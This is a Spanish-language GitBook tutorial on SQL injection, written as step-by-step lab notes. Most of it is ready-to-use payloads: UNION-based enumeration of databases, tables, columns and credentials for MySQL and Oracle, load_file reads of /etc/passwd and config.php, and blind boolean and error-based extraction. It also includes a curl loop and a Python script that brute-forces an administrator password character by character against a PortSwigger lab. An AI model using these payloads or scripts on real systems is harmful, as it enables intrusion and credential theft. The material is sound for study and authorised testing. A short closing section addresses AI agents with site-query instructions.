# SQL Injections

Esquema jerárquico de como funciona una BD

<figure><img src="/files/8VM94de6QfNBXivJj14c" alt=""><figcaption></figcaption></figure>

[CheatSheet SQL Injections](https://portswigger.net/web-security/sql-injection/cheat-sheet)

## **0. Cláusulas WHERE**

> Una inyección SQL bien colocada en una cláusula WHERE permite acceder a datos que deberían estar ocultos. Es una de las formas más básicas y efectivas de explotación.

Para ignorar el resto de una sentencia se puede comentar de estas 3 formas:

<figure><img src="/files/je5NwbgyKHPvaNtHfJ4z" alt=""><figcaption></figcaption></figure>

Para ver todos los datos "Productos" incluso los que estén ocultos

<figure><img src="/files/ckbl19u39aT6PbjF76G1" alt=""><figcaption></figcaption></figure>

O lo que sería lo mismo:

<figure><img src="/files/jxL0dZCIyWTEzVQgrnHh" alt=""><figcaption></figcaption></figure>

Para un panel de login funciona igual. Por detrás está haciendo lo siguiente:

> Las entradas del usuario nunca deben insertarse directamente en consultas SQL. Si lo hacen, pueden ser manipuladas para saltarse controles críticos como la autenticación.

Como 1=1 es un booleano True, pues deja acceder.

```
select username from users where password = 'laquesea' or 1=1;-- -';
```

<figure><img src="/files/aj0cs6BYjKuVff4vCe56" alt=""><figcaption></figcaption></figure>

## **1. Classic/Union-Based**

Se usa `UNION SELECT` para combinar resultados de consultas maliciosas con la original.

> El ataque UNION es útil para extraer datos arbitrarios de la base de datos, y conocer el motor y versión es fundamental para planificar un ataque eficaz.

> Tenemos que intentar saber el número de columnas totales para jugar con UNION.

#### Paso 1: Conocer nº columnas y versión

> Conocer el motor de base de datos desde fuera es el primer paso para afinar futuras inyecciones y adaptar payloads según el sistema objetivo.

Entonces probamos con una cantidad abismal para buscar el error **Unknow column 'nº' in 'order clause'**

<figure><img src="/files/GhGDuIz31wq3EZvSGnWU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dP1RpJTus7a0kfvWPTUh" alt=""><figcaption></figcaption></figure>

Y vamos reduciendo hasta que no de fallo la página, lo que significa que ese es el número de columnas.

Una vez sabemos el nº total de columnas podemos jugar ya con el **union select**.

Vamos concatenando números en función del nº total de columnas, en este ejemplo solo hay 2 columnas.

<figure><img src="/files/PBwZRkEx6OooT3Jf2xir" alt=""><figcaption></figcaption></figure>

En este otro hay 3 columnas, y hay que representar el total de campos correspondientes al total de columnas. En este caso a la web no le gusta con números, así que se pone con **NULL**.

<figure><img src="/files/1APLnCPYIovNglLawvfY" alt=""><figcaption></figcaption></figure>

Lo siguiente que podemos hacer es buscar que columna es la "vulnerable". En este caso la segunda columna es la vulnerable ya que no nos da un Server Internal Error.

<figure><img src="/files/V9rUJOg2YD1MtGN2Wqlt" alt=""><figcaption></figcaption></figure>

Una vez sabemos esto, ya podemos empezar a enumerar **version, usuarios, contraseñas** etc.

**Identificación de versión y motor de base de datos (MySQL y MSSQL)**

Para identificar tanto el motor como la versión en MySQL y MSSQL tendremos que seguir la siguiente sintaxis. Si nos da la versión, ya sabremos que nos enfrentamos a MySQL.

```
' union select NULL,@@version-- -
```

<figure><img src="/files/49oFnlIWLVM2iwTRBgUN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/SplsAORATyHUMpJownSG" alt=""><figcaption></figcaption></figure>

**Identificación de versión y motor de base de datos (Oracle)**

En Oracle es obligatorio especificar una **tabla** para realizar la consulta. Las tablas más típicas son:

<figure><img src="/files/GDhyczIvVHtD4CAlCxRl" alt=""><figcaption></figcaption></figure>

Y se vería reflejado en la web:

<figure><img src="/files/1TdLwxgfrGTLxr4ouo44" alt=""><figcaption></figcaption></figure>

Si queremos conocer la versión, tenemos que utilizar otra tabla que es la **v$version**:

```
' union select NULL,banner from v$version-- -
```

<figure><img src="/files/u5bhKZcmORc2A1caYorw" alt=""><figcaption></figcaption></figure>

***

#### Paso 2: Enumerar DBs

**MySQL**

Usamos esta línea para enumerar las BD, NULL puede ser 1, 2 en función de la columna que te permita inyectar el código. En este ejemplo lo hacemos con NULL.

<figure><img src="/files/aF3Xln4z4aSC16LG4gfk" alt=""><figcaption></figcaption></figure>

```
' union select schema_name,NULL from information_schema.schemata-- -
```

Ponemos la línea y listamos las BD.

<figure><img src="/files/yNgBXOQU1Kvur4Pw00qg" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/10QWNefxCnfbhmIOmb2C" alt=""><figcaption></figcaption></figure>

Hay casos que no nos muestra todas las BDs, ya sea porque no es capaz el sistema o porque directamente no las muestra. Para ello utilizamos **limit**.

Hay que ir jugando con el primer valor, vamos incrementando de 1 en 1 para ir listando las BDs.

```
'union select NULL,schema_name from information_schema.schemata limit 0,1-- -
```

<figure><img src="/files/b8i9yrAgYEUrhMQ1QrvY" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/jQzUsLDmCTY5eyg8kwPH" alt=""><figcaption></figcaption></figure>

Aunque podemos jugar con **group\_concat** para concatenar en el mismo campo separado por comas las distintas BDs.

```
' union select NULL,group_concat(schema_name) from information_schema.schemata-- -
```

<figure><img src="/files/5OmZgBg730T79OlDoG0l" alt=""><figcaption></figcaption></figure>

***

#### Paso 3: Enumerar tablas

**Mysql**

Con esta línea podemos enumerar **TODAS** las tablas de **TODAS** las BD, lo que puede llegar a ser lioso.

```
' union select NULL,table_name from information_schema.tables-- -
```

<figure><img src="/files/Xx7niucEIUosq7UkYKfk" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/V5zwFESExuzMeLc2oc4z" alt=""><figcaption></figcaption></figure>

Podemos crear el siguiente script para que muestre el nº que hay que usar con **limit** para que muestre exclusivamente esa tabla:

```
for i in $(seq 1 100); do echo "[+] Para el número $i: $(curl -s -X GET "http://ruta/file?loquesea=AQUÍ_VA_EL_UNION_SELECT%20limit%20$i,1--$20-" | grep "<td>" | html2text)"; done
```

<figure><img src="/files/1oed7ZdVP4JT4wr8yiuV" alt=""><figcaption></figcaption></figure>

Para listar las tablas de una BD concreta (Ej: public):

```
' union select NULL,table_name from information_schema.tables where table_schema='public'-- -
```

<figure><img src="/files/hjloOtx0VS50NP5lH4km" alt=""><figcaption></figcaption></figure>

**Oracle**

Para enumerar todas las tablas de una BD Oracle ejecutamos:

```
' union select NULL,table_name from all_tables-- -
```

<figure><img src="/files/90CzH4mN6s3r53xTQvWY" alt=""><figcaption></figcaption></figure>

***

#### Paso 4: Enumerar columnas de una tabla específica

**MySQL**

Para listar todas las columnas de una tabla en específico de una base de datos.

```
' union select NULL,column_name from information_schema.columns where table_schema='DB' and table_name='TABLA'-- -
```

<figure><img src="/files/CJy7K7F4PqRtA2hZXkmG" alt=""><figcaption></figcaption></figure>

**Oracle**

En oracle, así enumeramos las columnas de una tabla en específico.

```
' union select NULL,column_name from all_tab_columns where table_name='NOMBRE_TABLA'-- -
```

<figure><img src="/files/uEzsFoSasVv55owXwcmP" alt=""><figcaption></figcaption></figure>

***

#### Paso 5: Enumerar datos de una columna

**MySQL**

Podemos mirar como concatenar de distintas formas columnas por si una no funciona.

Para concatenar dos columnas, ej "Username : Password" lo podemos hacer así.

```
' union select NULL,group_concat(columna1,':',columna2) from DB.TABLA-- -
```

ó

```
' union select NULL,concat(columna1,':',columna2) from DB.TABLA-- -
```

Si no permite representar los dos puntos podríamos ponerlo en hexadecimal.

```
man ascii
/:
```

<figure><img src="/files/KUG6vP0KOp9izYMnYQUc" alt=""><figcaption></figcaption></figure>

```
' union select NULL,group_concat(columna1,0x3a,columna2) from DB.TABLA-- -
```

Otra forma de hacer lo mismo:

```
' union select NULL,columna1||':'||columna2 from DB.TABLA-- -
```

EJ:

```
' union select NULL,username||':'||password from public.users-- -
```

<figure><img src="/files/Yz70Rx3pWuyAJJHG1NA9" alt=""><figcaption></figcaption></figure>

Si aun así tampoco nos dejara, probamos con el campo de separación en hexadecimal.

```
' union select NULL,columna1||'0x3a'||columna2 from DB.TABLA-- -
```

<figure><img src="/files/a2UZowKK4ERRGl3p4g0S" alt=""><figcaption></figcaption></figure>

Si no permite representar la cadena en texto claro, podemos convertirla en hexadecimal.

```
echo "USUARIO" | tr -d '\n' | xxd -ps
```

<figure><img src="/files/GyUXpHq6wqwCifVSzCch" alt=""><figcaption></figcaption></figure>

```
' union select NULL,password from users where username = '0x61646d696e6973747261646f72'
```

Es importante especificar la DB de donde queremos sacar los datos que puede que no esté en uso la BD por lo que no encontraría la data:

```
' union select username,password from public.users-- -
```

**Oracle**

Para enumerar los datos de una BD necesitamos el nombre de las columnas y el nombre de las tablas. Esta sería la sintaxis.

```
' union select USERNAME_JJDVYT,PASSWORD_MUVHBD from USERS_MCQEVY-- -
```

<figure><img src="/files/xTWTcIdO3PEHmOuLWXUi" alt=""><figcaption></figcaption></figure>

***

#### Paso 6: Cargar archivos

Para cargar archivos del sistema lo podemos hacer tal que así. Tenemos que ir jugando con distintos archivos que puedan tener información sensible.

[Cargar archivos MySQL](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_load-file)

```
' union select load_file('/var/www/html/config.php') -- -
```

***

### Ejemplo de UNION attack con BurpSuite

#### Paso 1: Probar secuencia básica y enviar a Burpsuite

Probamos una secuencia sencilla y interceptamos la petición con Burpsuite.

<figure><img src="/files/6mnrbnB19qQ41ICRY66T" alt=""><figcaption></figcaption></figure>

Enviamos esta intercepción al **repeater**. Ahí empezamos a modificar la secuencia. Por ejemplo voy a intentar listar la versión. Aquí la separación va con el símbolo "+"

#### Paso 2: Sacar Versión

Pruebo a listar versión y me la lista.

```
'+union+select+@@version--+-
```

<figure><img src="/files/gaVDNRFnMtw7BQWgG4mH" alt=""><figcaption></figcaption></figure>

#### Paso 3: Enumerar las BDs

Pruebo a enumerar las BD haciendo una concatenación.

```
'+union+select+group_concat(SCHEMA_NAME)+from+INFORMATION_SCHEMA.schemata--+-
```

<figure><img src="/files/cWCUSckJ303ETx4NLLJx" alt=""><figcaption></figcaption></figure>

#### Paso 4: Enumerar las tablas

Pruebo a enumerar las tablas de una BD específica.

```
'+union+select+group_concat(table_name)+from+INFORMATION_SCHEMA.tables+where+table_schema='november'--+-
```

<figure><img src="/files/AIHh8xNL4vOldZPIhSzN" alt=""><figcaption></figcaption></figure>

#### Paso 5: Enumerar columnas

En este caso para saber de que tabla es cada columna he concatenado (TABLE\_NAME,':',COLUMN\_NAME) y podemos ver ya de que tabla es cada columna.

```
'+union+select+group_concat(TABLE_NAME,':',COLUMN_NAME)+from+INFORMATION_SCHEMA.columns+where+table_schema='november'--+-
```

<figure><img src="/files/Y9232l6S1Scrnmteb2nB" alt=""><figcaption></figcaption></figure>

#### Paso 6: Enumerar datos

Con esta línea de comando podemos ver los datos de una columna en específico.

```
'+union+select+group_concat(player)+from+november.players--+-'
```

<figure><img src="/files/8Fb82aGT8PQ7eA6PR6i9" alt=""><figcaption></figcaption></figure>

```
'+union+select+group_concat(one)+from+november.flag--+-
```

<figure><img src="/files/kgwaP6BbNDQHe1bGgU0W" alt=""><figcaption></figcaption></figure>

#### Paso 7: Enumerar archivos internos del sistema

Así podemos enumerar archivos como el /etc/passwd

```
'+union+select+load_file('/etc/passwd')+--+-
```

<figure><img src="/files/1Q68MlSUI6HOw5bQ02Jm" alt=""><figcaption></figcaption></figure>

O un archivo de configuración PHP donde puede haber credenciales.

```
'+union+select+load_file('/var/www/html/config.php')+--+-
```

<figure><img src="/files/6ZDvRkJzUtR0aRtt8EZT" alt=""><figcaption></figcaption></figure>

***

## **2. Blind Attack**

> Las inyecciones ciegas permiten obtener datos críticos incluso sin mensajes de error ni respuestas visibles, solo interpretando pequeños cambios en el comportamiento de la aplicación.

### 2.1 Blind SQL injection with conditional responses

> La aplicación no muestra datos de la BD, pero cambia su comportamiento según si la consulta devuelve TRUE o FALSE.

#### Paso 1: Confirmar la vulnerabilidad

Lo primero de todo es buscar una expresión booleana **False** para ver el comportamiento de la web. En este caso desaparece el mensaje **Welcome back!**

<figure><img src="/files/a9b1ZpM3g4kMBhQdqiUt" alt=""><figcaption></figcaption></figure>

Si hacemos la expresión booleana **True** aparecerá por lo que confirmamos que ahí está la vulnerabilidad.

<figure><img src="/files/RALQWu1OvplloSCd7fMT" alt=""><figcaption></figcaption></figure>

Para hacerlo más cómodo lo hacemos desde BurpSuite. Enviamos la Intercepción al Repeater.

<figure><img src="/files/hIDC3G0mr1cVlo1KFgWs" alt=""><figcaption></figcaption></figure>

Activamos esto para que haga un Auto-scroll cuando busquemos algo.

<figure><img src="/files/Le6hSZN8xG7zxEmgthMP" alt=""><figcaption></figcaption></figure>

Podemos confirmar de nuevo la vulnerabilidad si sigue apareciendo el mensaje poniendo una expresión booleana correcta y si desaparece al poner una expresión errónea.

Aparece:

<figure><img src="/files/N5WjiODupMCrrWIWt5Op" alt=""><figcaption></figcaption></figure>

Desaparece:

<figure><img src="/files/ajNc08hXmZVKVwS3XJ9X" alt=""><figcaption></figcaption></figure>

***

#### Paso 2: Encontrar número de columnas

Conseguimos averiguar el nº de columnas existentes reduciendo con **order by** hasta que nos aparezca el mensaje que tiene la vulnerabilidad:

En este caso vemos que no aparece el mensaje ya que no existen 3 columnas. Es **False**.

<figure><img src="/files/dLoNNtFdOUo5EgSqD96R" alt=""><figcaption></figcaption></figure>

Aquí si aparece ya que solo existe 1 columna. Es **True**.

<figure><img src="/files/63BkqtS2DGUI2M09E0nX" alt=""><figcaption></figcaption></figure>

Vemos que haciendo un **union select** pero con el valor **NULL** también se sigue viendo ya que es **True**.

<figure><img src="/files/j8sjaw435TQnf1yAOCsc" alt=""><figcaption></figcaption></figure>

#### Paso 2.1: Encontrar columnas útiles

Si existiera más de una columna, es crucial saber cuál es la vulnerable, por lo que hay que probar cambiando la posición hasta que aparezca el mensaje.

```
' UNION SELECT NULL,NULL-- -
' UNION SELECT 'a',NULL-- -    -- ¿Aparece "Welcome back"?
' UNION SELECT NULL,'a'-- -    -- ¿Aparece "Welcome back"?
```

***

#### Paso 3: Encontrar tablas

Podemos probar tablas típicas con esta sintaxis, si la tabla es existente, el valor booleano será True, por lo x = x y nos saldrá el mensaje.

<figure><img src="/files/INCAqWSwAUn9pmP19TMH" alt=""><figcaption></figcaption></figure>

***

#### Paso 4: Encontrar datos

Para encontrar datos hacemos uso de **substrings**. Por ejemplo aquí vemos que existe el usuario administrator.

```
' and (select substring(username,1,1) from users where username='administrator')='a'-- -
```

<figure><img src="/files/P49z7aTCc8cNzWTe26Rv" alt=""><figcaption></figcaption></figure>

Una vez sabemos que existe el usuario administrator, vamos a averiguar la contraseña haciendo fuerza bruta carácter por carácter. En este caso conocemos que existe tanto la tabla **users** como las columnas **username** y **password**.

> Ctrl + Space para ir más rápido

```
' and (select substring(password,1,1) from users where username='administrator')='AQUI_PROBAMOS'-- -
```

<figure><img src="/files/svAyxOESRB1XKg0BNvkX" alt=""><figcaption></figcaption></figure>

Para automatizar este proceso podemos hacer fuerza bruta.

**Ataque Sniper**

Enviamos esto al Intruder

<figure><img src="/files/UXkoHhj72YFhGGSTMrnO" alt=""><figcaption></figcaption></figure>

Elegimos el campo que queremos como campo de sustitución basado en un diccionario para hacer fuerza bruta.

<figure><img src="/files/VXRuezctHmisMNySqkwh" alt=""><figcaption></figcaption></figure>

Añadimos una lista desde la a-z y desde el 0-9.

<figure><img src="/files/FgMLxmj2LDJYJiMOW99o" alt=""><figcaption></figcaption></figure>

Desactivamos la casilla de codificar los caracteres.

<figure><img src="/files/Wz8PWexkiKR8LhWJ9vDo" alt=""><figcaption></figcaption></figure>

En settings nos vamos a Grep - Extract y pulsamos en Add.

<figure><img src="/files/WTP1amwQYFTUOA20C0jE" alt=""><figcaption></figcaption></figure>

Creamos una rejected adactada de modo que cuando el carácter sea correcto nos aparecerá el mensaje Welcome back!.

<figure><img src="/files/OkOy4ASqJ3LOf7YxszVj" alt=""><figcaption></figcaption></figure>

Vemos que el 4 es correcto por lo que tendríamos que ir 1 a 1 hasta conseguir entera la contraseña.

<figure><img src="/files/T5Zsr02V32QJigHVjt7j" alt=""><figcaption></figcaption></figure>

Ahora bien. Una vez averiguado el primer carácter. Buscaríamos el segundo y así sucesivamente.

<figure><img src="/files/mgbLMwUkq5OiGjxDvRyO" alt=""><figcaption></figcaption></figure>

```
' and (select substring(password,1,1) from users where username='administrator')=''-- -
```

**Ataque con Python**

Antes de nada vamos a averiguar la longitud de la contraseña o del valor que queremos.

Descubrimos que tiene 20 caracteres.

```
' and (select 'a' from users where username='administrator' and length(password)>10)='a'-- -'
```

<figure><img src="/files/6oPGEW3w9pGQX4OPHiEy" alt=""><figcaption></figcaption></figure>

Ahora creamos este script:

```python
#!/usr/bin/env python3

from pwn import *
from termcolor import colored
import requests
import sys
import signal
import string
import time

def def_handler(sig, frame):
    print(colored(f"\n[!]Saliendo...\n", 'red'))
    p1.failure("Ataque de fuerza bruta detenido")
    sys.exit(1)
    
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

characters = string.ascii_lowercase + string.digits

p1 = log.progress("SQLI")

def makeSQLI():

    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    password = ""

    p2 = log.progress("Password")

    for position in range(1, 21):
        for character in characters:
            cookies = {
                'TrackingId': f"4ixToutWwT8k6lJG' and (select substring(password,{position},1) from users where username='administrator')='{character}'-- -",
                'session': "tAmDljs87Vby4igdqzn0IB48mbf0Twqi"
            }
            
            p1.status(cookies["TrackingId"])

            r = requests.get("https://0a9f00d904ca40eb8082539a000a00a4.web-security-academy.net", cookies=cookies)
            
            if "Welcome back" in r.text:
                password += character
                p2.status(password)
                break


if __name__ == '__main__':

    makeSQLI()
```

Tenemos que añadir el valor de la cookie **TrackingId** y de la cookie **session**. Además poner el enlace de la web.

Entonces va encontrando caracter a caracter hasta completar los 20 caracteres que tenía en este caso.

<figure><img src="/files/aoSdzLKJyoEWUEsefBAa" alt=""><figcaption></figcaption></figure>

***

### 2.2 Blind SQL injection with conditional errors

> Aunque la aplicación no devuelva datos visibles ni mensajes directos, es posible extraer información sensible provocando errores intencionados y observando cómo responde el sistema. Este tipo de ataque es potente y silencioso.

#### Paso 1: Confirmar la vulnerabilidad con error

En este caso el motor es Oracle por lo que hay que especificar siempre una tabla. Nos fijamos por el código de estado **200** que esta consulta es correcta. si ponemos por ejemplo el nombre de la tabla mal vemos un **Server Internal Error**.

<figure><img src="/files/TxIs46050kqSxgKrNN7U" alt=""><figcaption></figcaption></figure>

Cambiamos la tabla:

<figure><img src="/files/bMeyLytQqsS7wWcNsOPZ" alt=""><figcaption></figcaption></figure>

***

#### Paso 2: Encontrar tablas

Para encontrar tablas existentes tenemos que fijarnos que el código es **500**. Importante poner el nombre de la tabla en mayúsculas.

**Oracle**

```
'||(select case when(1=1) then to_char(1/0) else '' from user_tables where table_name='<TABLA>' and rownum=1)||'
```

Tabla existente:

<figure><img src="/files/H4ug9Sl0eIh6oCbXCWZe" alt=""><figcaption></figcaption></figure>

Tabla no existente:

<figure><img src="/files/GHUdlKLnIRGHt60tcZmi" alt=""><figcaption></figcaption></figure>

***

#### Paso 3: Encontrar columnas

Para encontrar columnas es lo mismo, si existe pues será código de estado **500**, sino, pues será **200**.

**Oracle**

```
'||(select case when(1=1) then to_char(1/0) else '' end from all_tab_columns where table_name='USERS' and column_name='<COLUMNA>' and rownum=1)||'
```

Existe:

<figure><img src="/files/4DCbOazZZGeIP9D0vsWU" alt=""><figcaption></figcaption></figure>

No existe:

<figure><img src="/files/9kzxjp2LNYS4RV2jDw7H" alt=""><figcaption></figcaption></figure>

***

#### Paso 4: Encontrar datos

En este caso si existe un usuario, tiene que dar un error **500**. Si el usuario no existe da un estado **200**.

> Caso 1: Usuario EXISTE (administrator)
>
> * La subconsulta `FROM users WHERE username='administrator'` **devuelve una fila**
> * Se ejecuta el `CASE WHEN(1=1)` que siempre es true
> * Se ejecuta `TO_CHAR(1/0)` → **Error de división por cero**
> * **Resultado: HTTP 500**

> Caso 2: Usuario NO EXISTE (ej: 'nonexistent')
>
> * La subconsulta `FROM users WHERE username='nonexistent'` **no devuelve filas**
> * El `SELECT CASE...` no se ejecuta sobre ninguna fila
> * **No hay error** → Consulta continúa normalmente
> * **Resultado: HTTP 200**

**Oracle:**

```
'||(select case when(1=1) then to_char(1/0) else '' end from users where username='administrator')||'
```

Existe:

<figure><img src="/files/j7FjwrxYH63Nt1oAH7P6" alt=""><figcaption></figcaption></figure>

No existe:

<figure><img src="/files/9z3CKgbGswHHE7RNoxb6" alt=""><figcaption></figcaption></figure>

Una vez sabemos que existe el usuario administrator, vamos a averiguar la contraseña.

**Oracle**

```
'||(select case when lenght(password)=<TAMAÑO> then to_char(1/0) else '' end from users where username='administrator')||'
```

Longitud incorrecta:

<figure><img src="/files/w1OjCLbDKvz4xtF8QphG" alt=""><figcaption></figcaption></figure>

Longitud correcta:

<figure><img src="/files/yEDRVdzH9hhYpgTJq50x" alt=""><figcaption></figcaption></figure>

Ahora probamos carácter por carácter:

```
'||(select case when substr(password,1,1)='AQUÍ PROBAMOS' then to_char(1/0) else '' end from users where username='administrator')||'
```

El primer carácter es un **8** en este ejemplo porque el código es **500**. Si sale **200** es que es incorrecto.

<figure><img src="/files/VFuTwttBm85Uqg303GPl" alt=""><figcaption></figcaption></figure>

### 2.3 Visible Error-Bases SQL

Continuará...


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alv-fh.gitbook.io/alv-fh/web-attacks/sql-injections.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
